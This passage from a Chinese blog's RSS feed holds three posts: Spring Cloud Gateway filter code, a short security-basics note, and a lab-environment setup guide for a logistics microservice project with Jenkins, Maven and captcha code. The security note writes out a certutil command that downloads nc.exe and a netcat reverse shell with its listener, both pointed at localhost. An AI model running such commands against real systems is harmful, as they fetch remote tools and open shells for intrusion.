        if (CollUtil.isEmpty(intersection)) {
            //无交集，说明没有权限，设置响应状态码为400
            exchange.getResponse().setStatusCode(HttpStatus.BAD_REQUEST);
            return exchange.getResponse().setComplete();
        }

        //4. 校验通过，向下游传递用户信息和token
        exchange.getRequest().mutate().header(Constants.GATEWAY.USERINFO, JSONUtil.toJsonStr(authUserInfoDTO));
        exchange.getRequest().mutate().header(Constants.GATEWAY.TOKEN, token);
        //4.1 校验通过放行
        return chain.filter(exchange);
    }
}

&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;code&gt;com.sl.gateway.filter.ManagerTokenGatewayFilterFactory&lt;/code&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-java&quot;&gt;package com.sl.gateway.filter;

import org.springframework.cloud.gateway.filter.GatewayFilter;
import org.springframework.cloud.gateway.filter.factory.AbstractGatewayFilterFactory;
import org.springframework.stereotype.Component;

import javax.annotation.Resource;

/**
 * 管理端token校验的过滤器
 */
@Component
public class ManagerTokenGatewayFilterFactory extends AbstractGatewayFilterFactory&amp;#x3C;Object&gt; {

    @Resource
    private TokenGatewayFilter tokenGatewayFilter;

    @Override
    public GatewayFilter apply(Object config) {
        return this.tokenGatewayFilter;
    }

}

&lt;/code&gt;&lt;/pre&gt;
&lt;h5&gt;优化2&lt;/h5&gt;
&lt;p&gt;通过前面的优化一已经将过滤器抽取到一个独立的类中，这样就可以在多个过滤器工厂中通用了，但也是存在一些问题的，例如：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;不同的终端校验的角色id是不同的&lt;/li&gt;
&lt;li&gt;用户端是不需要校验角色的&lt;/li&gt;
&lt;li&gt;用户端校验token的逻辑与其他三端是不一样的&lt;/li&gt;
&lt;li&gt;用户端请求头中的token参数名与其他三端也不一样&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;基于这些问题，就能够意识到，单纯的抽取代码是不够的，需要进一步的优化。想一想，该怎么优化呢？&lt;/p&gt;
&lt;p&gt;优化的思路就是，在&lt;code&gt;TokenGatewayFilter&lt;/code&gt;中保留四端通用的逻辑，不同的逻辑抽取到接口中，由四端具体的实现。&lt;/p&gt;
&lt;p&gt;自定义AuthFilter接口：&lt;/p&gt;
&lt;p&gt;&lt;code&gt;com.sl.gateway.filter.AuthFilter&lt;/code&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-java&quot;&gt;package com.sl.gateway.filter;

import com.itheima.auth.sdk.dto.AuthUserInfoDTO;
import com.sl.transport.common.constant.Constants;

/**
 * 鉴权业务的回调，具体逻辑由 GatewayFilterFactory 具体完成
 */
public interface AuthFilter {

    /**
     * 校验token
     *
     * @param token 请求中的token
     * @return token中携带的数据
     */
    AuthUserInfoDTO check(String token);

    /**
     * 鉴权
     *
     * @param token        请求中的token
     * @param authUserInfo token中携带的数据
     * @param path         当前请求的路径
     * @return 是否通过
     */
    Boolean auth(String token, AuthUserInfoDTO authUserInfo, String path);

    /**
     * 请求中携带token的名称
     *
     * @return 头名称
     */
    default String tokenHeaderName() {
        return Constants.GATEWAY.AUTHORIZATION;
    }

}

&lt;/code&gt;&lt;/pre&gt;</content:encoded><category>项目开发</category></item><item><title>基础知识</title><link>https://antifrag.cn/blog/%E5%9F%BA%E7%A1%80</link><guid isPermaLink="true">https://antifrag.cn/blog/%E5%9F%BA%E7%A1%80</guid><description>文件下载</description><pubDate>Sat, 06 Jul 2024 18:40:01 GMT</pubDate><content:encoded>&lt;p&gt;&lt;img src=&quot;https://antifrag.cn/images/web/%E5%9F%BA%E7%A1%80.png&quot; alt=&quot;基础&quot;&gt;&lt;/p&gt;
&lt;h5&gt;文件下载&lt;/h5&gt;
&lt;pre&gt;&lt;code class=&quot;language-cmd&quot;&gt;certutil.exe -urlcache -split -f http://127.0.0.1:8080/nc.exe nc.exe
&lt;/code&gt;&lt;/pre&gt;
&lt;h5&gt;反弹shell&lt;/h5&gt;
&lt;p&gt;一端进行监听，一端进行连接，将连接一端的shell进行反弹给监听一端&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-shell&quot;&gt;#Netcat连接端
nc -e cmd 127.0.0.1 8080
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code class=&quot;language-shell&quot;&gt;#监听端
nc -lvvp 8080
&lt;/code&gt;&lt;/pre&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;内网&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;​ 内网 -&gt; A&lt;/p&gt;
&lt;p&gt;​ A !-&gt; 内网&lt;/p&gt;
&lt;p&gt;如果两台主机都处于&lt;strong&gt;外网&lt;/strong&gt;，则可以相互进行反弹&lt;/p&gt;
&lt;p&gt;A &amp;#x3C;-&gt; B&lt;/p&gt;
&lt;p&gt;A防火墙 -&gt; B&lt;/p&gt;
&lt;p&gt;b !-&gt; A防火墙&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h5&gt;抓包&lt;/h5&gt;
&lt;blockquote&gt;
&lt;p&gt;抓包工具：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;BurpSuite&lt;/li&gt;
&lt;li&gt;茶杯&lt;/li&gt;
&lt;li&gt;fiddler&lt;/li&gt;
&lt;/ul&gt;
&lt;/blockquote&gt;
&lt;pre&gt;&lt;code class=&quot;language-tex&quot;&gt;模拟器设置证书后
设置HTTP代理 -&gt; 运行工具的本机IP 端口
burpsuite 茶杯 fiddler 配置代理监听抓取
&lt;/code&gt;&lt;/pre&gt;
&lt;h5&gt;域名&lt;/h5&gt;
&lt;h6&gt;DNS&lt;/h6&gt;
&lt;blockquote&gt;
&lt;p&gt;DNS用于解析IP地址&lt;/p&gt;
&lt;p&gt;它是一个域名和IP地址相互&lt;strong&gt;映射&lt;/strong&gt;的一个&lt;strong&gt;分布式数据库&lt;/strong&gt;，能够使人更&lt;strong&gt;方便&lt;/strong&gt;更&lt;strong&gt;迅速&lt;/strong&gt;的访问互联网&lt;/p&gt;
&lt;p&gt;DNS使用的是&lt;strong&gt;UDP&lt;/strong&gt;协议，端口53&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h6&gt;CDN&lt;/h6&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;旁注&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;旁注：同服务器不同站点&lt;/p&gt;
&lt;p&gt;前提条件：多个站点服务器&lt;/p&gt;
&lt;/blockquote&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;C段&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;独立站点服务器&lt;/p&gt;
&lt;p&gt;C段：不同服务器不同站点&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h5&gt;资产架构与信息收集&lt;/h5&gt;
&lt;p&gt;域名：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;查询域名注册邮箱&lt;/li&gt;
&lt;li&gt;通过域名查询备案号&lt;/li&gt;
&lt;li&gt;通过备案号查询域名&lt;/li&gt;
&lt;li&gt;反查注册邮箱&lt;/li&gt;
&lt;li&gt;反查注册人&lt;/li&gt;
&lt;li&gt;通过注册人查询到的域名在查询邮箱&lt;/li&gt;
&lt;li&gt;通过上一步邮箱去查询域名&lt;/li&gt;
&lt;li&gt;通过上一步邮箱去查询域名&lt;/li&gt;
&lt;li&gt;查询以上获取出的域名的子域名&lt;/li&gt;
&lt;/ul&gt;
&lt;ol&gt;
&lt;li&gt;CDN验证：通过多地ping的方法确定目标是否使用CDN&lt;/li&gt;
&lt;li&gt;域名查找：查找域名父域和子域名来查看正式IP&lt;/li&gt;
&lt;li&gt;历史纪录查找：可以通过查找&lt;code&gt;域名解析记录&lt;/code&gt;的方式去查找真实IP&lt;/li&gt;
&lt;li&gt;子域名爆破&lt;/li&gt;
&lt;li&gt;通过证书手机信息&lt;/li&gt;
&lt;li&gt;搜索引擎&lt;/li&gt;
&lt;li&gt;通过域名查公司，查企业，查人物&lt;/li&gt;
&lt;li&gt;通过人物查资产&lt;/li&gt;
&lt;li&gt;.....&lt;/li&gt;
&lt;/ol&gt;
&lt;blockquote&gt;
&lt;p&gt;常用工具&lt;/p&gt;
&lt;p&gt;https://www.ip138.com/&lt;/p&gt;
&lt;p&gt;https://ping.pe/&lt;/p&gt;
&lt;p&gt;https://whois.chinaz.com/&lt;/p&gt;
&lt;p&gt;http://ping.chinaz.com/&lt;/p&gt;
&lt;/blockquote&gt;</content:encoded><category>网络安全</category></item><item><title>环境搭建</title><link>https://antifrag.cn/blog/sl</link><guid isPermaLink="true">https://antifrag.cn/blog/sl</guid><description>环境搭建</description><pubDate>Fri, 05 Jul 2024 06:48:51 GMT</pubDate><content:encoded>&lt;h2&gt;环境搭建&lt;/h2&gt;
&lt;p&gt;进入Vmare，打开虚拟机&lt;/p&gt;
&lt;p&gt;配置一键启动环境&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://antifrag.cn/images/sl-images/1.png&quot; alt=&quot;1&quot;&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-shell&quot;&gt;vim ~/.bashrc

#增加如下内容
alias dps=&apos;docker ps --format &quot;table{{.ID}}\t{{.Names}}\t{{.Status}}\t{{.Ports}}&quot;&apos;
#保存退出

#生效
source ~/.bashrc
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;访问http://192.168.150.101:10880/&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://antifrag.cn/images/sl-images/3.png&quot; alt=&quot;image-20240701152638944&quot;&gt;&lt;/p&gt;
&lt;h5&gt;配置本机hosts&lt;/h5&gt;
&lt;p&gt;&lt;img src=&quot;https://antifrag.cn/images/sl-images/2.png&quot; alt=&quot;2&quot;&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-shell&quot;&gt;192.168.150.101 git.sl-express.com
192.168.150.101 maven.sl-express.com
192.168.150.101 jenkins.sl-express.com
192.168.150.101 auth.sl-express.com
192.168.150.101 rabbitmq.sl-express.com
192.168.150.101 nacos.sl-express.com
192.168.150.101 neo4j.sl-express.com
192.168.150.101 xxl-job.sl-express.com
192.168.150.101 eaglemap.sl-express.com
192.168.150.101 seata.sl-express.com
192.168.150.101 skywalking.sl-express.com
192.168.150.101 api.sl-express.com
192.168.150.101 admin.sl-express.com
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;打开浏览器测试&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://antifrag.cn/images/sl-images/4.png&quot; alt=&quot;image-20240701153057560&quot;&gt;&lt;/p&gt;
&lt;p&gt;| &lt;strong&gt;名称&lt;/strong&gt;   | &lt;strong&gt;地址&lt;/strong&gt;                                                   | &lt;strong&gt;用户名/密码&lt;/strong&gt; | &lt;strong&gt;端口&lt;/strong&gt; |
| ---------- | ---------------------------------------------------------- | --------------- | -------- |
| git        | http://git.sl-express.com/                                 | sl/sl123        | 10880    |
| maven      | http://maven.sl-express.com/nexus/                         | admin/admin123  | 8081     |
| jenkins    | http://jenkins.sl-express.com/                             | root/123        | 8090     |
| 权限管家   | http://auth.sl-express.com/api/authority/static/index.html | admin/123456    | 8764     |
| RabbitMQ   | http://rabbitmq.sl-express.com/                            | sl/sl321        | 15672    |
| MySQL      | -                                                          | root/123        | 3306     |
| nacos      | http://nacos.sl-express.com/nacos/                         | nacos/nacos     | 8848     |
| neo4j      | http://neo4j.sl-express.com/browser/                       | neo4j/neo4j123  | 7474     |
| xxl-job    | http://xxl-job.sl-express.com/xxl-job-admin                | admin/123456    | 28080    |
| EagleMap   | http://eaglemap.sl-express.com/                            | eagle/eagle     | 8484     |
| seata      | http://seata.sl-express.com/                               | seata/seata     | 7091     |
| Gateway    | http://api.sl-express.com/                                 | -               | 9527     |
| admin      | http://admin.sl-express.com/                               | -               | 80       |
| skywalking | http://skywalking.sl-express.com/                          | -               | 48080    |
| Redis      | -                                                          | 123321          | 6379     |
| MongoDB    | -                                                          | sl/123321       | 27017    |&lt;/p&gt;
&lt;h5&gt;配置本地MAVEN&lt;/h5&gt;
&lt;p&gt;&lt;img src=&quot;https://antifrag.cn/images/sl-images/5.png&quot; alt=&quot;image-20240701154129648&quot;&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-xml&quot;&gt;&amp;#x3C;?xml version=&quot;1.0&quot; encoding=&quot;UTF-8&quot;?&gt;
&amp;#x3C;settings
        xmlns=&quot;http://maven.apache.org/SETTINGS/1.0.0&quot;
        xmlns:xsi=&quot;http://www.w3.org/2001/XMLSchema-instance&quot;
        xsi:schemaLocation=&quot;http://maven.apache.org/SETTINGS/1.0.0 http://maven.apache.org/xsd/settings-1.0.0.xsd&quot;&gt;

    &amp;#x3C;!-- 本地仓库  这里要改成你自己的本地仓库位置 --&gt;
    &amp;#x3C;localRepository&gt;F:\maven\repository&amp;#x3C;/localRepository&gt;

    &amp;#x3C;!-- 配置私服中deploy的账号 --&gt;
    &amp;#x3C;servers&gt;
        &amp;#x3C;server&gt;
            &amp;#x3C;id&gt;sl-releases&amp;#x3C;/id&gt;
            &amp;#x3C;username&gt;deployment&amp;#x3C;/username&gt;
            &amp;#x3C;password&gt;deployment123&amp;#x3C;/password&gt;
        &amp;#x3C;/server&gt;
        &amp;#x3C;server&gt;
            &amp;#x3C;id&gt;sl-snapshots&amp;#x3C;/id&gt;
            &amp;#x3C;username&gt;deployment&amp;#x3C;/username&gt;
            &amp;#x3C;password&gt;deployment123&amp;#x3C;/password&gt;
        &amp;#x3C;/server&gt;
    &amp;#x3C;/servers&gt;

    &amp;#x3C;!-- 使用阿里云maven镜像，排除私服资源库 --&gt;
    &amp;#x3C;mirrors&gt;
        &amp;#x3C;mirror&gt;
            &amp;#x3C;id&gt;mirror&amp;#x3C;/id&gt;
            &amp;#x3C;mirrorOf&gt;central,jcenter,!sl-releases,!sl-snapshots&amp;#x3C;/mirrorOf&gt;
            &amp;#x3C;name&gt;mirror&amp;#x3C;/name&gt;
            &amp;#x3C;url&gt;https://maven.aliyun.com/nexus/content/groups/public&amp;#x3C;/url&gt;
        &amp;#x3C;/mirror&gt;
    &amp;#x3C;/mirrors&gt;

    &amp;#x3C;profiles&gt;
        &amp;#x3C;profile&gt;
            &amp;#x3C;id&gt;sl&amp;#x3C;/id&gt;
            &amp;#x3C;!-- 配置项目deploy的地址 --&gt;
            &amp;#x3C;properties&gt;
                &amp;#x3C;altReleaseDeploymentRepository&gt;
                    sl-releases::default::http://maven.sl-express.com/nexus/content/repositories/releases/
                &amp;#x3C;/altReleaseDeploymentRepository&gt;
                &amp;#x3C;altSnapshotDeploymentRepository&gt;
                    sl-snapshots::default::http://maven.sl-express.com/nexus/content/repositories/snapshots/
                &amp;#x3C;/altSnapshotDeploymentRepository&gt;
            &amp;#x3C;/properties&gt;
            &amp;#x3C;!-- 配置项目下载依赖的私服地址 --&gt;
            &amp;#x3C;repositories&gt;
                &amp;#x3C;repository&gt;
                    &amp;#x3C;id&gt;sl-releases&amp;#x3C;/id&gt;
                    &amp;#x3C;url&gt;http://maven.sl-express.com/nexus/content/repositories/releases/&amp;#x3C;/url&gt;
                    &amp;#x3C;releases&gt;
                        &amp;#x3C;enabled&gt;true&amp;#x3C;/enabled&gt;
                    &amp;#x3C;/releases&gt;
                    &amp;#x3C;snapshots&gt;
                        &amp;#x3C;enabled&gt;false&amp;#x3C;/enabled&gt;
                    &amp;#x3C;/snapshots&gt;
                &amp;#x3C;/repository&gt;
                &amp;#x3C;repository&gt;
                    &amp;#x3C;id&gt;sl-snapshots&amp;#x3C;/id&gt;
                    &amp;#x3C;url&gt;http://maven.sl-express.com/nexus/content/repositories/snapshots/&amp;#x3C;/url&gt;
                    &amp;#x3C;releases&gt;
                        &amp;#x3C;enabled&gt;false&amp;#x3C;/enabled&gt;
                    &amp;#x3C;/releases&gt;
                    &amp;#x3C;snapshots&gt;
                        &amp;#x3C;enabled&gt;true&amp;#x3C;/enabled&gt;
                    &amp;#x3C;/snapshots&gt;
                &amp;#x3C;/repository&gt;
            &amp;#x3C;/repositories&gt;
        &amp;#x3C;/profile&gt;
    &amp;#x3C;/profiles&gt;

    &amp;#x3C;activeProfiles&gt;
         &amp;#x3C;!-- 激活配置 --&gt;
        &amp;#x3C;activeProfile&gt;sl&amp;#x3C;/activeProfile&gt;
    &amp;#x3C;/activeProfiles&gt;

&amp;#x3C;/settings&gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;配置本地jdk环境&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://antifrag.cn/images/sl-images/6.png&quot; alt=&quot;image-20240701154914165&quot;&gt;&lt;/p&gt;
&lt;p&gt;拉取导入项目&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://antifrag.cn/images/sl-images/7.png&quot; alt=&quot;image-20240701160844697&quot;&gt;&lt;/p&gt;
&lt;p&gt;更新MAVEN并运行&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://antifrag.cn/images/sl-images/8.png&quot; alt=&quot;image-20240701160927514&quot;&gt;&lt;/p&gt;
&lt;p&gt;访问http://127.0.0.1:18099/doc.html#/home&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://antifrag.cn/images/sl-images/9.png&quot; alt=&quot;image-20240701160958249&quot;&gt;&lt;/p&gt;
&lt;p&gt;数据测试&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://antifrag.cn/images/sl-images/10.png&quot; alt=&quot;image-20240701161211283&quot;&gt;&lt;/p&gt;
&lt;h5&gt;创建分支&lt;/h5&gt;
&lt;p&gt;使用git&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://antifrag.cn/images/sl-images/11.png&quot; alt=&quot;11&quot;&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://antifrag.cn/images/sl-images/12.png&quot; alt=&quot;12&quot;&gt;&lt;/p&gt;
&lt;p&gt;创建成功&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://antifrag.cn/images/sl-images/13.png&quot; alt=&quot;13&quot;&gt;&lt;/p&gt;
&lt;p&gt;添加测试案例&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://antifrag.cn/images/sl-images/14.png&quot; alt=&quot;14&quot;&gt;&lt;/p&gt;
&lt;p&gt;测试成功&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://antifrag.cn/images/sl-images/15.png&quot; alt=&quot;15&quot;&gt;&lt;/p&gt;
&lt;p&gt;提交到远程仓库&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://antifrag.cn/images/sl-images/16.png&quot; alt=&quot;16&quot;&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://antifrag.cn/images/sl-images/17.png&quot; alt=&quot;17&quot;&gt;&lt;/p&gt;
&lt;p&gt;可以看到代码已经提交&lt;/p&gt;
&lt;p&gt;创建分支&lt;code&gt;release-1.0&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;完善代码&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://antifrag.cn/images/sl-images/18.png&quot; alt=&quot;18&quot;&gt;&lt;/p&gt;
&lt;p&gt;将代码进行提交&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://antifrag.cn/images/sl-images/19.png&quot; alt=&quot;19&quot;&gt;&lt;/p&gt;
&lt;p&gt;创建tag并发布&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://antifrag.cn/images/sl-images/20.png&quot; alt=&quot;20&quot;&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://antifrag.cn/images/sl-images/21.png&quot; alt=&quot;21&quot;&gt;&lt;/p&gt;
&lt;h5&gt;Jenkins配置&lt;/h5&gt;
&lt;p&gt;访问&lt;a href=&quot;http://jenkins.sl-express.com/&quot;&gt;Jenkins&lt;/a&gt;，通过root/123登录&lt;/p&gt;
&lt;p&gt;进入页面创建任务&lt;/p&gt;
&lt;p&gt;任务名称一般为项目名称&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://antifrag.cn/images/sl-images/22.png&quot; alt=&quot;image-20240702170320182&quot;&gt;&lt;/p&gt;
&lt;p&gt;填写描述&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://antifrag.cn/images/sl-images/23.png&quot; alt=&quot;image-20240702170535472&quot;&gt;&lt;/p&gt;
&lt;p&gt;设置构建参数&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://antifrag.cn/images/sl-images/24.png&quot; alt=&quot;image-20240702170628580&quot;&gt;&lt;/p&gt;
&lt;p&gt;版本号设置&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://antifrag.cn/images/sl-images/25.png&quot; alt=&quot;image-20240702170644866&quot;&gt;&lt;/p&gt;
&lt;p&gt;服务IP设置&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://antifrag.cn/images/sl-images/26.png&quot; alt=&quot;image-20240702170658799&quot;&gt;&lt;/p&gt;
&lt;p&gt;端口设置&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://antifrag.cn/images/sl-images/27.png&quot; alt=&quot;image-20240702170712268&quot;&gt;&lt;/p&gt;
&lt;p&gt;服务名称设置&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://antifrag.cn/images/sl-images/28.png&quot; alt=&quot;image-20240702170833629&quot;&gt;&lt;/p&gt;
&lt;p&gt;Git源码路径、账号、分支设置&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://antifrag.cn/images/sl-images/29.png&quot; alt=&quot;image-20240702170922389&quot;&gt;&lt;/p&gt;
&lt;p&gt;SSH连接地址、权限提升以及Maven版本设置&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://antifrag.cn/images/sl-images/30.png&quot; alt=&quot;image-20240702170958123&quot;&gt;&lt;/p&gt;
&lt;p&gt;Shell命令执行&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://antifrag.cn/images/sl-images/31.png&quot; alt=&quot;image-20240702171041934&quot;&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-shell&quot;&gt;#!/bin/bash
# 微服务名称
SERVER_NAME=${serverName}
# 服务版本
SERVER_VERSION=${version}
# 服务端口
SERVER_PORT=${port}
# 源jar名称，mvn打包之后，target目录下的jar包名称
JAR_NAME=$SERVER_NAME-$SERVER_VERSION
# jenkins下的目录
JENKINS_HOME=/var/jenkins_home/workspace/$SERVER_NAME
#进入jenkins目录
cd $JENKINS_HOME
# 修改文件权限
chmod 755 target/$JAR_NAME.jar
#输出docker版本
docker -v
echo &quot;---------停止容器（$SERVER_NAME）---------&quot;
docker stop $SERVER_NAME
echo &quot;---------删除容器（$SERVER_NAME）---------&quot;
docker rm $SERVER_NAME
echo &quot;---------删除镜像（$SERVER_NAME:$SERVER_VERSION）---------&quot;
docker rmi $SERVER_NAME:$SERVER_VERSION
echo &quot;---------构建新镜像（$SERVER_NAME:$SERVER_VERSION）---------&quot;
docker build -t $SERVER_NAME:$SERVER_VERSION .
echo &quot;---------运行服务---------&quot;
docker run -d -p $SERVER_PORT:8080 --name $SERVER_NAME -e SERVER_PORT=8080 -e SPRING_CLOUD_NACOS_DISCOVERY_IP=${SPRING_CLOUD_NACOS_DISCOVERY_IP} -e  SPRING_CLOUD_NACOS_DISCOVERY_PORT=${port} $SERVER_NAME:$SERVER_VERSION
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;保存后开始构建&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://antifrag.cn/images/sl-images/32.png&quot; alt=&quot;image-20240702171224810&quot;&gt;&lt;/p&gt;
&lt;p&gt;运行完成后测试：http://192.168.150.101:18099/doc.html#/home&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://antifrag.cn/images/sl-images/33.png&quot; alt=&quot;image-20240703144256543&quot;&gt;&lt;/p&gt;
&lt;p&gt;可以看到页面成功展示了&lt;/p&gt;
&lt;h5&gt;自动构建&lt;/h5&gt;
&lt;p&gt;想要实现代码推送到git中自动开始构建，需要分别到gogs和Jenkins中进行设置&lt;/p&gt;
&lt;p&gt;gogs设置&lt;/p&gt;
&lt;p&gt;在http://git.sl-express.com/sl/sl-express-gitflow-web页面点击右上角仓库设置&lt;/p&gt;
&lt;p&gt;选择管理Web钩子&lt;/p&gt;
&lt;p&gt;添加gogs钩子&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://antifrag.cn/images/sl-images/34.png&quot; alt=&quot;image&quot;&gt;&lt;/p&gt;
&lt;p&gt;在Jenkins中也要设置钩子&lt;/p&gt;
&lt;p&gt;进入配置&lt;/p&gt;
&lt;p&gt;将Password设置为sl123与gogs中一致&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://antifrag.cn/images/sl-images/35.png&quot; alt=&quot;image-20240703150058328&quot;&gt;&lt;/p&gt;
&lt;p&gt;在git中点击测试推送&lt;/p&gt;
&lt;p&gt;看看能否测试成功&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://antifrag.cn/images/sl-images/36.png&quot; alt=&quot;image-20240703145630579&quot;&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://antifrag.cn/images/sl-images/37.png&quot; alt=&quot;image-20240703150234941&quot;&gt;&lt;/p&gt;
&lt;h4&gt;业务实现&lt;/h4&gt;
&lt;h5&gt;验证码功能&lt;/h5&gt;
&lt;p&gt;登录 &lt;a href=&quot;http://git.sl-express.com/&quot;&gt;git&lt;/a&gt; 服务，找到 &lt;a href=&quot;http://git.sl-express.com/sl/sl-express-ms-web-manager&quot;&gt;sl-express-ms-web-manager&lt;/a&gt; 工程，拉取代码&lt;/p&gt;
&lt;p&gt;验证码的实现方式有很多种，项目中我们通过&lt;a href=&quot;https://www.hutool.cn/docs/#/captcha/%E6%A6%82%E8%BF%B0&quot;&gt;hutool&lt;/a&gt;工具包中的验证码模块来实现&lt;/p&gt;
&lt;p&gt;使用自定义验证码来实现&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://antifrag.cn/images/sl-images/38.png&quot; alt=&quot;image-20240703165431842&quot;&gt;&lt;/p&gt;
&lt;h5&gt;具体实现&lt;/h5&gt;
&lt;p&gt;先创建分支develop&lt;/p&gt;
&lt;p&gt;具体的业务实现是在&lt;code&gt;com.sl.ms.web.manager.service.AuthService&lt;/code&gt;中完成&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://antifrag.cn/images/sl-images/39.png&quot; alt=&quot;image-20240703165613131&quot;&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-java&quot;&gt;@Override
public void createCaptcha(String key, HttpServletResponse response) throws IOException {
        //1. 生成验证码，指定宽、高、字符个数、干扰线数
        LineCaptcha lineCaptcha = CaptchaUtil.createLineCaptcha(115, 38, 0, 10);
        //1.1 自己创建一个随机数范围，验证码为四位随机数
        String random = &quot;123456789abcdefghijklmnopqrstuvwsyz&quot;;
        RandomGenerator randomGenerator = new RandomGenerator(random,4);
        lineCaptcha.setGenerator(randomGenerator);
        //1.2 获取生成的验证码值
        lineCaptcha.createCode();
        String Code = lineCaptcha.getCode();

        //2. 将验证码的值写入到redis，有效期为1分钟
        String redisKey = CAPTCHA_REDIS_KEY + key;
        this.stringRedisTemplate.opsForValue().set(redisKey, Code, Duration.ofMinutes(1));

        //输出到页面
        response.setHeader(HttpHeaders.PRAGMA, &quot;No-cache&quot;);
        response.setHeader(HttpHeaders.CACHE_CONTROL, &quot;No-cache&quot;);
        response.setDateHeader(HttpHeaders.EXPIRES, 0L);
        lineCaptcha.write(response.getOutputStream());
    }
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;在Controller中调用Service中的方法:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://antifrag.cn/images/sl-images/40.png&quot; alt=&quot;image-20240703165756274&quot;&gt;&lt;/p&gt;
&lt;h5&gt;测试&lt;/h5&gt;
&lt;p&gt;可以看到验证码&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://antifrag.cn/images/sl-images/41.png&quot; alt=&quot;image-20240703165907670&quot;&gt;&lt;/p&gt;
&lt;h5&gt;部署前端&lt;/h5&gt;
&lt;p&gt;拉取&lt;a href=&quot;http://git.sl-express.com/sl/project-slwl-admin-vue&quot;&gt;project-slwl-admin-vue&lt;/a&gt;代码&lt;/p&gt;
&lt;p&gt;修改&lt;code&gt;.env.production.stu&lt;/code&gt;文件，设置前后端交互接口改为本机地址和端口：&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://antifrag.cn/images/sl-images/44.png&quot; alt=&quot;image-20240704171035290&quot;&gt;&lt;/p&gt;
&lt;p&gt;提交到&lt;code&gt;git&lt;/code&gt;中，使用&lt;code&gt;Jenkins&lt;/code&gt;部署&lt;/p&gt;
&lt;p&gt;选择&lt;code&gt;develop&lt;/code&gt;分支，开始构建&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://antifrag.cn/images/sl-images/45.png&quot; alt=&quot;image-20240704171130051&quot;&gt;&lt;/p&gt;
&lt;p&gt;访问地址进行测试：&lt;a href=&quot;http://admin.sl-express.com/#/login&quot;&gt;http://admin.sl-express.com/&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://antifrag.cn/images/sl-images/46.png&quot; alt=&quot;image-20240704171240463&quot;&gt;&lt;/p&gt;
&lt;p&gt;可以看到请求为200&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://antifrag.cn/images/sl-images/47.png&quot; alt=&quot;image-20240704171414493&quot;&gt;&lt;/p&gt;
&lt;h5&gt;登录功能实现&lt;/h5&gt;
&lt;p&gt;在&lt;code&gt;AuthServiceImpl&lt;/code&gt;中完善代码&lt;/p&gt;
